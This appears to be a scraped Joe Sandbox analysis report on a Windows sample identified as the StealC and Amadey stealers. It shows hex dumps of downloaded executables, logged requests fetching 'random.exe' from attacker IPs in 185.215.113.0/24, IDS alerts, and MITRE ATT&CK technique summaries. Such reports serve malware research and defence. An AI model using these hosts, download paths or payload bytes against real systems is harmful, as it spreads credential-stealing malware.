Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 31 Aug 2024 23:30:04 GMTContent-Type: application/octet-streamContent-Length: 1790976Last-Modified: Sat, 31 Aug 2024 22:58:27 GMTConnection: keep-aliveETag: "66d3a013-1b5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 20 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 68 00 00 04 00 00 90 12 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 f0 23 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 23 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 23 00 00 10 00 00 00 3c 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 23 00 00 00 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 23 00 00 02 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 00 24 00 00 02 00 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 67 74 65 74 77 6d 6c 00 e0 19 00 00 30 4e 00 00 de 19 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 7a 68 75 70 63 6f 77 00 10 00 00 00 10 68 00 00 04 00 00 00 2e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 68 00 00 22 00 00 00 32 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 31 Aug 2024 23:30:10 GMTContent-Type: application/octet-streamContent-Length: 917504Last-Modified: Sat, 31 Aug 2024 23:16:24 GMTConnection: keep-aliveETag: "66d3a448-e0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3f a4 d3 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 50 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 7c cb 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 c8 95 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 95 00 00 00 40 0d 00 00 96 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 8a 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: Joe Sandbox View	IP Address: 185.215.113.100 185.215.113.100
Source: Joe Sandbox View	IP Address: 185.215.113.19 185.215.113.19

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49713 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49718 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: x-goog-authuserOrigin: https://accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: x-goog-authuserOrigin: https://accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.2045.47"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RHZnp4gMpZCS2vZ&MD=WRH8Upfw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RHZnp4gMpZCS2vZ&MD=WRH8Upfw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.2045.47"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sat, 31 Aug 2024 22:58:27 GMTIf-None-Match: "66d3a013-1b5400"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\0085f9ca-bf9a-4159-8f55-6bfed66ededb.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\328aa511-2a90-4f9d-be11-f224f98e878e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\72cf7953-3354-4cf1-a7c9-836eb893f86e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\8449da15-6ece-44ec-8017-af69b2e4205b.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\270ed276-90d5-43f6-ba2a-1cb9438db36f.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3A783-EBC.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\BrowserMetrics\BrowserMetrics-66D3A784-1914.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\throttle_store.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\5e0c24d3-f11e-4727-837f-9d7788a1f0b4.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\6f27319d-3ee5-4b2b-9e6d-9f4e035df5d5.tmp

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

